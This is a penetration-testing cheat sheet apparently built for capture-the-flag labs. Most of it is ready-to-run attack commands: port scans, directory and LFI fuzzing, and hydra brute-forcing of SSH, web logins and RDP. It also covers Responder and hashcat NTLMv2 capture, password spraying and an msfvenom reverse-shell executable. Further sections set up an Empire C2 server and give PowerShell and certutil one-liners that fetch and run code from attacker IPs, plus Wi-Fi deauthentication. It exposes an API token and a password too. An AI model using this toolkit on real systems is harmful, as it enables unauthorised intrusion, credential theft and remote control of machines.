The Security Notebook

Cheat Sheet

5 min read

AutoRecon

autorecon linkvortex.htb --only-scans-dir --no-port-dirs --dirbuster.wordlist /opt/SecLists/Discovery/Web-Content/custom_directories.txt --enum4linux.tool enum4linux-ng --vhost-enum.hostname linkvortex.htb --wpscan.api-token sxowPtXt72r0yXxVDs34qF0jNvuIywRC9y4AXXgMzM

NMAP One-Liner

nmap -sC -sV -O --open -oA initial 10.10.10.60 && nmap -sC -sV -p- --open -oA full 10.10.10.60 && nmap -sU -p- --open -oA udp 10.10.10.60

Shell Upgrade

python3 -c ‘import pty; pty.spawn(”/bin/bash”)’
 
CTRL + z (background)
stty raw -echo ; fg ; reset

22 - SSH

hydra -l <username> -P <path to wordlist> <IP> ssh

80/443 - Web

Directory Bruteforce

sudo wfuzz -c -z file,/opt/SecLists/Discovery/Web-Content/custom_directories.txt --hc 404 --hl 0 -u sightless.htb/FUZZ/ -R 4

File Bruteforce

sudo wfuzz -c -z file,/opt/SecLists/Discovery/Web-Content/raft-large-files.txt --hc 404 -u dev01.artcorp.htb/FUZZ

Subdomain Bruteforce

gobuster vhost --url http://10.10.11.44 --append-domain --domain domain.htb -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -r
sudo ffuf -u http://underpass.htb -H "HOST: FUZZ.underpass.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -fs   10671

Parameter Fuzzing

sudo wfuzz -c -z file,/opt/SecLists/Discovery/Web-Content/burp-parameter-names.txt --hc 404 --hl 851 -u http://192.168.69.99:33333/list-current-deployments?FUZZ=someData

Parameter Input Fuzzing

sudo wfuzz -c -z file,/opt/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt --hc 404 --hl 851 -u artcorp.htb/thankyou.php?file=FUZZ

Nikto

sudo nikto -host 10.200.34.219 -C all

Whatweb

sudo whatweb -a 3 <domain>

WPScan

wpscan --url https://brainfuck.htb --disable-tls-checks --api-token [token goes here]

Curl - POST

curl -s -i -X POST -H 'Content-Length: 0' http://192.168.120.209:33333/list-running-procs

88/389/445 - Domain Controller (Kerberos and SMB)

responder -I tun0 --lm --disable-ess
 
hashcat -m 5600 <hash_file> <password_file> --force
sudo python3 /opt/enum4linux-ng/enum4linux-ng.py -a -u "" -p "" <IP> && python3 /opt/enum4linux-ng/enum4linux-ng.py -a -u "guest" -p "" <IP>
smbmap -u "" -p "" -P 445 -H $IP && smbmap -u "guest" -p "" -P 445 -H $IP
smbclient -U '%' -L //$IP && smbclient -U 'guest%' -L //$IP
nmap -n -sV --script "ldap* and not brute" -p 389 $IP

Recursively scan a share for all contents

smbmap -R [ShareName] - H $IP

**Download a file of interest: (**File will then be located in /usr/share/smbmap)

smbmap -R [ShareName] - H 10.10.10.100 -A [fileName] -q

if we have creds, maybe we can see additional shares:

smbmap -d active.htb -u svc_tgs -p [password] -H 10.10.10.100

If the IPC$ share can be read, then you can do RID brute force and enumerate usernames

User Enum

/opt/kerbrute/dist/kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt

Upload file to target through SMB

smbclient -c 'put myservice.exe' -U t1_leonard.summers -W ZA '//thmiis.za.tryhackme.com/admin$/' EZpass4ever

Password Spray Internal Login Pages

python ntlm_passwordspray.py -u <user_textfile> -f <fqdn> -p <password> -a <attackurl>

25 - SMTP

sudo smtp-user-enum -U /opt/SecLists/Usernames/top-usernames-shortlist.txt 10.10.11.166 25

135/139 - RPC

rpcclient -U '' -N 10.10.10.1
sudo /usr/local/bin/rpcdump.py 10.129.157.83

53 - DNS

Zone Transfering

sudo dig axfr <dns IP>

Any Information

sudo dig ANY <dns IP> <domain name>

NMAP

nmap -n --script=*dns* <IP>
dnsrecon -d megacorpone.com -t axfr

80/443 - Hydra - Brute Force

Burp intercept on a login form

POST /src/redirect.php HTTP/1.1

Referer: http://10.200.34.232/src/login.php

Cookie: SQMSESSID=ng2ebj68n788uov7j5kegs229e; squirrelmail_language=deleted

Upgrade-Insecure-Requests: 1

login_username=admin&secretkey=admin&js_autodetect_results=1&just_logged_in=1

hydra -L users.txt -p <password> MACHINE_IP http-post-form '/src/redirect.php:<user_parameter>=^USER^&<pass_parameter>=^PASS^:F=incorrect' -v

WordPress Login Bruteforce

hydra -l wade -p <password> MACHINE_IP http-post-form '/retro/wp-login.php:log=^USER^n&pwd=^PASS^&wp-submit=Log+In&redirect_to=%2Fretro%2Fwp-admin%2F&testcookie=1:F=invalid' -v

MSFVenom Payloads

  1. Staged Payloads require a handler to catch the payload and send the appropriate response back to the server to trigger your reverse shell. Payload is smaller in size. This payload has three slashes which indicate it’s a staged payload.
  2. Stageless Payloads do not require any specific handler. A reverse shell can be caught with a utility like netcat, socat, or many others. This payload is also larger in size due it being self-contained. This payload has two slashes which indicate it’s a stageless payload.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=53 -f exe -o NotAShell.exe

Starting Handler

Hashcat

NTLMv2

C2 Server Setup

Installing Starkiller

1.) sudo apt install starkiller

Installing Empire

1.) cd /opt

2.) sudo git clone https://github.com/BC-SECURITY/Empire.git

3.) cd Empire

4.) sudo ./setup/install.sh

Setting Up Starkiller

1.) cd /opt

2.) cd Empire

3.) sudo ./empire —rest

4.) cd ..

5.) sudo ./starkiller-1.3.2.AppImage —no-sandbox

6.) Login to Starkiller

Default Credentials:

uri: 127.0.0.1:1337
 
user: empireadmin
 
pass: password123

Windows Download Files

certutil -urlcache -split -f http://10.10.14.10/winPEAS.bat winPEAS.bat

Downloading and executing files on old Windows OS:

powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.30:9005/40564.exe', 'c:\Users\Public\Downloads\40564.exe')"

If already in PS then run this:

iex (New-Object Net.WebClient).DownloadString('http://10.10.14.10/sherlock.ps1'); Find-AllVulns

Powershell Download

powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/oracle/oci-cli/master/scripts/install/install.ps1
'))"

Windows Enumeration

wmic qfe list

Windows PrivEsc

Seatbelt.exe -group=all
reg query HKLM /f pass /t REG_SZ /s
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended -Report PrivescCheck_$($env:COMPUTERNAME) -Format TXT,CSV,HTML,XML”

Pivoting - SSH

Port forwarding is accomplished with the -L switch, which creates a link to a Local port. For example, if we had SSH access to 172.16.0.5 and there’s a webserver running on 172.16.0.10, we could use this command to create a link to the server on 172.16.0.10:

 
ssh -L 8000:172.16.0.10:80 user@172.16.0.5 -fN

We could then access the website on 172.16.0.10 (through 172.16.0.5) by navigating to port 8000 on our own attacking machine. For example, by entering localhost:8000 into a web browser.

Port Tunneling - Chisel

*Windows and Linux versions need to be the same

On Kali

./chisel server —reverse —port <kali_chisel_listening_port>

On Windows

Find the open port we want to connect to:

netstat -ano
.\chisel.exe client <kali_IP>:<kali_chisel_listening_port> R:<local_port>:127.0.0.1:<target_port>

3389 - RDP

Known user

sudo hydra -t 4 -l retroweb -P /usr/share/wordlists/rockyou.txt rdp://10.10.14.71

Unknown user

sudo hydra -V -f -L user.txt -P /usr/share/wordlists/rockyou.txt rdp://192.168.0.102

Wifi

airmon-ng start wlan0

airmon-ng check kill

aireplay-ng -test wlan0

airodump-ng wlan0

airodump-ng —bssid <mac_of_access_point> —channel —write /var/tmp/dump.cap wlan0

(deauth) aireplay-ng —deauth 50 -a <bssid_mac> -c <client_mac> wlan0

Graph View